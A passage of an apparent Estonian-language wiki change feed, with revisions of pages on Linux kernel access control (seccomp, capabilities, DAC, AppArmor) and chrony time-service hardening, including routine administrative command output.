      |    &amp;quot;Does the overall security policy permit this role this access?&amp;quot;&lt;br /&gt;
      |    [ AppArmor / SELINUX ] --------------------&amp;gt; [ REJECT / DENIED ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
  [ RESOURCE ] (e.g., /dev/sda, System Clock, Network Socket)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3424</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3424"/>
		<updated>2026-05-03T22:40:09Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Tööpõhimõte */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* privileegid (st õigus midagi teha, midagi kasutada) pole mitte niivõrd kasutajal, aga privileegid on protsessil&lt;br /&gt;
* protsessi privileegid tulenevad muu hulgast kolmest asjaolust: 1. seccomp syscall tulemüür, 2. capabilities, 3. lsm&lt;br /&gt;
* system call (syscall, 'make system call') - xxx&lt;br /&gt;
&lt;br /&gt;
Syscallisid on üldiselt kahesuguseid&lt;br /&gt;
&lt;br /&gt;
* &lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
&lt;br /&gt;
===gemini joonis===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ PROCESS ]&lt;br /&gt;
      |&lt;br /&gt;
      | 1. SECCOMP GATE (The Vocabulary Check)&lt;br /&gt;
      |    &amp;quot;Is this syscall even allowed to be uttered?&amp;quot;&lt;br /&gt;
      |    [ Filter: 23 active ] ---------------------&amp;gt; [ REJECT / SIGSYS ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 2. CAPABILITIES GATE (The Authority Check)&lt;br /&gt;
      |    &amp;quot;Does this process hold the specific bit for this action?&amp;quot;&lt;br /&gt;
      |    [ e.g., CAP_SYS_TIME ] --------------------&amp;gt; [ REJECT / EPERM ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 3. DAC / ACL GATE (The Identity Check)&lt;br /&gt;
      |    &amp;quot;Is the process UID/GID on the list for this file/device?&amp;quot;&lt;br /&gt;
      |    [ Feature: +ACL ] -------------------------&amp;gt; [ REJECT / EACCES ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 4. LSM / MAC GATE (The Policy &amp;quot;Horizon&amp;quot;)&lt;br /&gt;
      |    &amp;quot;Does the overall security policy permit this role this access?&amp;quot;&lt;br /&gt;
      |    [ AppArmor / SELINUX ] --------------------&amp;gt; [ REJECT / DENIED ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
  [ RESOURCE ] (e.g., /dev/sda, System Clock, Network Socket)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3423</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3423"/>
		<updated>2026-05-03T22:33:42Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Tööpõhimõte */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* system call (syscall, 'make system call') - &lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3422</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3422"/>
		<updated>2026-05-03T22:33:24Z</updated>

		<summary type="html">&lt;p&gt;Imre: Uus lehekülg: '===Sissejuhatus===  TODO  ===Mõisted===  * seccomp * capabilities * dac/acl * lsm  ===Tööpõhimõte===  Väited  * üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada) * system call (syscall, 'make system call') -   Joonis  &amp;lt;pre&amp;gt;    töötav protsess -&amp;gt;  syscall liides         -&amp;gt; kernel              -&amp;gt;    ressurss                       ^                              ^                  ^...'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* system call (syscall, 'make system call') - &lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess -&amp;gt;  syscall liides         -&amp;gt; kernel              -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Operatsioonis%C3%BCsteemid&amp;diff=3421</id>
		<title>Operatsioonisüsteemid</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Operatsioonis%C3%BCsteemid&amp;diff=3421"/>
		<updated>2026-05-03T22:26:07Z</updated>

		<summary type="html">&lt;p&gt;Imre: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Debian GNU/Linux&lt;br /&gt;
&lt;br /&gt;
* [[:AMD/ATI videokaardi kasutamine operatsioonisüsteemiga Debian Wheezy]]&lt;br /&gt;
* [[:NVIDIA videokaardi kasutamine operatsioonisüsteemiga Debian Wheezy]]&lt;br /&gt;
* [[:X.Org kasutamine operatsioonisüsteemiga Debian Wheezy]]&lt;br /&gt;
* [[:GNOME kasutamine operatsioonisüsteemiga Debian Wheezy]]&lt;br /&gt;
* [[:Xfce kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* [[:Wayland kasutamine operatsioonisüsteemiga Debian Jessie]]&lt;br /&gt;
* [[:Operatsioonisüsteemi Debian GNU/Linux kasutamine]]&lt;br /&gt;
* [[:Operatsioonisüsteemi Debian GNU/Linux paketihalduse kasutamine]]&lt;br /&gt;
* [[:Pulseaudio kasutamine operatsioonisüsteemiga Debian Squeeze]]&lt;br /&gt;
* [[:Rsyslog kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* [[:Vsftpd kasutamine operatsioonisüsteemiga Debian Squeeze]]&lt;br /&gt;
* [[:Kasutajakeskkond operatsioonisüsteemis Debian Squeeze]]&lt;br /&gt;
* [[:Wifi kasutamine operatsioonisüsteemiga Debian Squeeze]]&lt;br /&gt;
* [[:GRUB2 alglaaduri kasutamine operatsioonisüsteemiga Debian Squeeze]]&lt;br /&gt;
* [[:boot manager systemd-boot kasutamine]]&lt;br /&gt;
* [[:udev kasutamine operatsioonisüsteemiga Debian Squeeze]]&lt;br /&gt;
* [[:Printeri kasutamine operatsioonisüsteemiga Debian Squeeze]]&lt;br /&gt;
* [[:Syslog-ng kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* [[:Debian Squeeze SELinux kasutamine]]&lt;br /&gt;
* [[:Operatsioonisüsteemi Debian Squeeze käivitamine NFS ressursilt]]&lt;br /&gt;
* [[:Kui Linux operatsioonisüsteem ei tööta hästi]]&lt;br /&gt;
* [[:ClearOS kasutamine]]&lt;br /&gt;
* [[:Operatsioonisüsteemi Debian Jessie käivitamine iSCSI ressursilt]]&lt;br /&gt;
* [[:LightDM kasutamine]]&lt;br /&gt;
* [[:systemd kasutamine]]&lt;br /&gt;
* [[:apt-mirror kasutamine]]&lt;br /&gt;
* [[:reprepro kasutamine]]&lt;br /&gt;
* [[:AppArmor kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* [[:Auditd kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* [[:Polkit kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* [[:Operatsioonisüsteem Debian v. 10 Buster kasutamine]]&lt;br /&gt;
&lt;br /&gt;
Ubuntu&lt;br /&gt;
&lt;br /&gt;
* [[:Operatsioonisüsteemi Ubuntu kasutamine]]&lt;br /&gt;
* [[:Operatsioonisüsteemi Ubuntu kasutamine töökohaarvutis]]&lt;br /&gt;
* [[:SNAP kasutamine operatsioonisüsteemiga Ubuntu v. 18.04]]&lt;br /&gt;
&lt;br /&gt;
FreeBSD&lt;br /&gt;
&lt;br /&gt;
* [[:Operatsioonisüsteemi FreeBSD kasutamine]]&lt;br /&gt;
* [[:Debian GNU/kFreeBSD kasutamine]]&lt;br /&gt;
* [[:Project Trident kasutamine töökohaarvutis]]&lt;br /&gt;
* [[:FreeBSD kasutamine töökohaarvutis]]&lt;br /&gt;
&lt;br /&gt;
OpenBSD&lt;br /&gt;
&lt;br /&gt;
* [[:Operatsioonisüsteemi OpenBSD kasutamine]]&lt;br /&gt;
* [[:OpenBSD spamd tarkvara kasutamine]]&lt;br /&gt;
* [[:Multiboot OpenBSD süsteemi uuendamine]]&lt;br /&gt;
* [[:OpenBSD kasutamine töökohaarvutis]]&lt;br /&gt;
* [[:Multi boot Linux + OpenBSD UEFI + GPT + software raid keskkonnas]]&lt;br /&gt;
&lt;br /&gt;
RedHat&lt;br /&gt;
&lt;br /&gt;
* [[:Redhat Enterprise Linux v4 kasutamine]]&lt;br /&gt;
* [[:Redhat Enterprise Linux v5 kasutamine]]&lt;br /&gt;
* [[:Redhat Enterprise Linux v6 kasutamine]]&lt;br /&gt;
* [[:Redhat Enterprise Linux v7 kasutamine]]&lt;br /&gt;
* [[:CentOS v6 kasutamine]]&lt;br /&gt;
* [[:CentOS v7 kasutamine]]&lt;br /&gt;
&lt;br /&gt;
SLES&lt;br /&gt;
&lt;br /&gt;
* [[:SLES 11 kasutamine]]&lt;br /&gt;
&lt;br /&gt;
Windows&lt;br /&gt;
&lt;br /&gt;
* [[:Zabbix agendi kasutamine Windows 7 operatsioonisüsteemiga]]&lt;br /&gt;
* [[:Windows XP kasutamine]]&lt;br /&gt;
* [[:Windows 2012 serveri kasutamine AD domeenikontrollerina]]&lt;br /&gt;
* [[:Windows 2012 serveri kasutamine Exchange 2010 SP3 postimasinana]]&lt;br /&gt;
&lt;br /&gt;
Android&lt;br /&gt;
&lt;br /&gt;
* [[:Sony Ericsson Xperia Pro kasutamine tarkvaraga CyanogenMod]]&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* [[:Zentyal kasutamine]]&lt;br /&gt;
* [[:Generic kaasaegne operatsioonisüsteem]]&lt;br /&gt;
* [[:Trinity Rescue Kit]]&lt;br /&gt;
* [[:SystemRescueCd]]&lt;br /&gt;
* [[:TPM kasutamine]]&lt;br /&gt;
* [[:OmniOS kasutamine]]&lt;br /&gt;
* [[:FreeDOS kasutamine]]&lt;br /&gt;
* [[:IKT lahendusel põhineva teenuse käitamine]]&lt;br /&gt;
* [[:xrdp serveri kasutamine]]&lt;br /&gt;
* [[:Linux perf kasutamine]]&lt;br /&gt;
* [[:eBPF ja BCC utiliitide kasutamine]]&lt;br /&gt;
* [[:Arch Linux]]&lt;br /&gt;
* [[:Jõudluse mõõtmine]]&lt;br /&gt;
* [[:Osnexus]]&lt;br /&gt;
* [[:Mattermost]]&lt;br /&gt;
* [[Passwork]]&lt;br /&gt;
* [[:Linux kernel namespace]]&lt;br /&gt;
* [[:Linux kernel kontrollib tegevusi]]&lt;br /&gt;
&lt;br /&gt;
UEFI&lt;br /&gt;
&lt;br /&gt;
* [[:UEFI]]&lt;br /&gt;
* [[:UEFI Secure Boot kasutamisest üldiselt]]&lt;br /&gt;
* [[:UEFI Secure Boot kasutamine virtuaalse riistvaraga OVMF]]&lt;br /&gt;
* [[:UEFI Secure Boot kasutamine füüsilise riistvaraga]]&lt;br /&gt;
* [[:UEFI Secure Boot kasutamine töökohaarvutis]]&lt;br /&gt;
&lt;br /&gt;
Hugepages&lt;br /&gt;
&lt;br /&gt;
* [[:Hugepages üldiselt]]&lt;br /&gt;
* [[:Hugepages ja Proxmox PVE]]&lt;br /&gt;
* [[:Hugepages ja PostgreSQL]]&lt;br /&gt;
&lt;br /&gt;
Mac&lt;br /&gt;
&lt;br /&gt;
* [[:Power Mac G5 kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* [[:Mac OS X operatsioonisüsteemi kasutamine KVM guestina]]&lt;br /&gt;
* [[:Mac OS X operatsioonisüsteemi kasutamine VirtualBox guestina]]&lt;br /&gt;
* [[:MacOS operatsioonisüsteemi kasutamine füüsilise MacBook Air M4 arvutiga]]&lt;br /&gt;
&lt;br /&gt;
Kellaaeg&lt;br /&gt;
&lt;br /&gt;
* [[:Kellaaeg üldiselt]]&lt;br /&gt;
* [[:NTP]]&lt;br /&gt;
* [[:NTS]]&lt;br /&gt;
* [[:PTP]]&lt;br /&gt;
* [[:Chrony]]&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Chrony&amp;diff=3420</id>
		<title>Chrony</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Chrony&amp;diff=3420"/>
		<updated>2026-05-03T18:57:04Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Misc - chrony teenus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc - chrony protsess===&lt;br /&gt;
&lt;br /&gt;
chronyd protsessi info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# pgrep chronyd&lt;br /&gt;
1436092&lt;br /&gt;
1436093&lt;br /&gt;
root@pve-svc-02:~# lsns -p 1436093&lt;br /&gt;
        NS TYPE   NPROCS     PID USER    COMMAND&lt;br /&gt;
4026531833 net       481       1 root    /sbin/init&lt;br /&gt;
4026531834 time      481       1 root    /sbin/init&lt;br /&gt;
4026531835 cgroup    481       1 root    /sbin/init&lt;br /&gt;
4026531836 pid       481       1 root    /sbin/init&lt;br /&gt;
4026531837 user      481       1 root    /sbin/init&lt;br /&gt;
4026531839 ipc       481       1 root    /sbin/init&lt;br /&gt;
4026533035 mnt         2 1436092 _chrony ├─/usr/sbin/chronyd -F 1&lt;br /&gt;
4026533036 uts         2 1436092 _chrony └─/usr/sbin/chronyd -F 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep -i seccomp&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# nsenter -m -t 1436092 findmnt | grep inacc | sed -r 's/tmpfs\s+.*//'&lt;br /&gt;
│ └─/dev/kmsg                                                    tmpfs[/systemd/inaccessible/chr]&lt;br /&gt;
│ ├─/run/credentials                                             tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
│ ├─/run/user                                                    tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/root                                                          tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/home                                                          tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/usr/lib/modules                                               tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning systemd vastavad seadistused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# systemctl show chrony | egrep &amp;quot;^Prot|Priv&amp;quot; | grep yes$&lt;br /&gt;
PrivateTmp=yes&lt;br /&gt;
ProtectKernelTunables=yes&lt;br /&gt;
ProtectKernelModules=yes&lt;br /&gt;
ProtectKernelLogs=yes&lt;br /&gt;
ProtectControlGroups=yes&lt;br /&gt;
ProtectControlGroupsEx=yes&lt;br /&gt;
ProtectHome=yes&lt;br /&gt;
ProtectHostname=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc - chrony teenus===&lt;br /&gt;
&lt;br /&gt;
Seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# egrep &amp;quot;pool|server&amp;quot; /etc/chrony/chrony.conf&lt;br /&gt;
# pool 2.debian.pool.ntp.org iburst&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# cat /etc/chrony/sources.d/local-ntp-server.sources&lt;br /&gt;
server 10.192.0.53 iburst&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sources info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# chronyc sources -v -n&lt;br /&gt;
&lt;br /&gt;
  .-- Source mode  '^' = server, '=' = peer, '#' = local clock.&lt;br /&gt;
 / .- Source state '*' = current best, '+' = combined, '-' = not combined,&lt;br /&gt;
| /             'x' = may be in error, '~' = too variable, '?' = unusable.&lt;br /&gt;
||                                                 .- xxxx [ yyyy ] +/- zzzz&lt;br /&gt;
||      Reachability register (octal) -.           |  xxxx = adjusted offset,&lt;br /&gt;
||      Log2(Polling interval) --.      |          |  yyyy = measured offset,&lt;br /&gt;
||                                \     |          |  zzzz = estimated error.&lt;br /&gt;
||                                 |    |           \&lt;br /&gt;
MS Name/IP address         Stratum Poll Reach LastRx Last sample&lt;br /&gt;
===============================================================================&lt;br /&gt;
^* 10.192.0.53                   4   9   377   413   -135us[ -216us] +/- 3171us&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
tracking info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# chronyc tracking&lt;br /&gt;
Reference ID    : 0AC00035 (10.192.0.53)&lt;br /&gt;
Stratum         : 5&lt;br /&gt;
Ref time (UTC)  : Sun May 03 17:25:18 2026&lt;br /&gt;
System time     : 0.000016197 seconds slow of NTP time&lt;br /&gt;
Last offset     : -0.000080330 seconds&lt;br /&gt;
RMS offset      : 0.000049475 seconds&lt;br /&gt;
Frequency       : 0.712 ppm fast&lt;br /&gt;
Residual freq   : -0.006 ppm&lt;br /&gt;
Skew            : 0.085 ppm&lt;br /&gt;
Root delay      : 0.006004042 seconds&lt;br /&gt;
Root dispersion : 0.000445185 seconds&lt;br /&gt;
Update interval : 517.6 seconds&lt;br /&gt;
Leap status     : Normal&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Chrony&amp;diff=3419</id>
		<title>Chrony</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Chrony&amp;diff=3419"/>
		<updated>2026-05-03T18:55:32Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Misc */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc - chrony protsess===&lt;br /&gt;
&lt;br /&gt;
chronyd protsessi info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# pgrep chronyd&lt;br /&gt;
1436092&lt;br /&gt;
1436093&lt;br /&gt;
root@pve-svc-02:~# lsns -p 1436093&lt;br /&gt;
        NS TYPE   NPROCS     PID USER    COMMAND&lt;br /&gt;
4026531833 net       481       1 root    /sbin/init&lt;br /&gt;
4026531834 time      481       1 root    /sbin/init&lt;br /&gt;
4026531835 cgroup    481       1 root    /sbin/init&lt;br /&gt;
4026531836 pid       481       1 root    /sbin/init&lt;br /&gt;
4026531837 user      481       1 root    /sbin/init&lt;br /&gt;
4026531839 ipc       481       1 root    /sbin/init&lt;br /&gt;
4026533035 mnt         2 1436092 _chrony ├─/usr/sbin/chronyd -F 1&lt;br /&gt;
4026533036 uts         2 1436092 _chrony └─/usr/sbin/chronyd -F 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep -i seccomp&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# nsenter -m -t 1436092 findmnt | grep inacc | sed -r 's/tmpfs\s+.*//'&lt;br /&gt;
│ └─/dev/kmsg                                                    tmpfs[/systemd/inaccessible/chr]&lt;br /&gt;
│ ├─/run/credentials                                             tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
│ ├─/run/user                                                    tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/root                                                          tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/home                                                          tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/usr/lib/modules                                               tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning systemd vastavad seadistused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# systemctl show chrony | egrep &amp;quot;^Prot|Priv&amp;quot; | grep yes$&lt;br /&gt;
PrivateTmp=yes&lt;br /&gt;
ProtectKernelTunables=yes&lt;br /&gt;
ProtectKernelModules=yes&lt;br /&gt;
ProtectKernelLogs=yes&lt;br /&gt;
ProtectControlGroups=yes&lt;br /&gt;
ProtectControlGroupsEx=yes&lt;br /&gt;
ProtectHome=yes&lt;br /&gt;
ProtectHostname=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc - chrony teenus===&lt;br /&gt;
&lt;br /&gt;
sources info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# chronyc sources -v -n&lt;br /&gt;
&lt;br /&gt;
  .-- Source mode  '^' = server, '=' = peer, '#' = local clock.&lt;br /&gt;
 / .- Source state '*' = current best, '+' = combined, '-' = not combined,&lt;br /&gt;
| /             'x' = may be in error, '~' = too variable, '?' = unusable.&lt;br /&gt;
||                                                 .- xxxx [ yyyy ] +/- zzzz&lt;br /&gt;
||      Reachability register (octal) -.           |  xxxx = adjusted offset,&lt;br /&gt;
||      Log2(Polling interval) --.      |          |  yyyy = measured offset,&lt;br /&gt;
||                                \     |          |  zzzz = estimated error.&lt;br /&gt;
||                                 |    |           \&lt;br /&gt;
MS Name/IP address         Stratum Poll Reach LastRx Last sample&lt;br /&gt;
===============================================================================&lt;br /&gt;
^* 10.192.0.53                   4   9   377   413   -135us[ -216us] +/- 3171us&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
tracking info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# chronyc tracking&lt;br /&gt;
Reference ID    : 0AC00035 (10.192.0.53)&lt;br /&gt;
Stratum         : 5&lt;br /&gt;
Ref time (UTC)  : Sun May 03 17:25:18 2026&lt;br /&gt;
System time     : 0.000016197 seconds slow of NTP time&lt;br /&gt;
Last offset     : -0.000080330 seconds&lt;br /&gt;
RMS offset      : 0.000049475 seconds&lt;br /&gt;
Frequency       : 0.712 ppm fast&lt;br /&gt;
Residual freq   : -0.006 ppm&lt;br /&gt;
Skew            : 0.085 ppm&lt;br /&gt;
Root delay      : 0.006004042 seconds&lt;br /&gt;
Root dispersion : 0.000445185 seconds&lt;br /&gt;
Update interval : 517.6 seconds&lt;br /&gt;
Leap status     : Normal&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Chrony&amp;diff=3418</id>
		<title>Chrony</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Chrony&amp;diff=3418"/>
		<updated>2026-05-03T17:36:42Z</updated>

		<summary type="html">&lt;p&gt;Imre: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
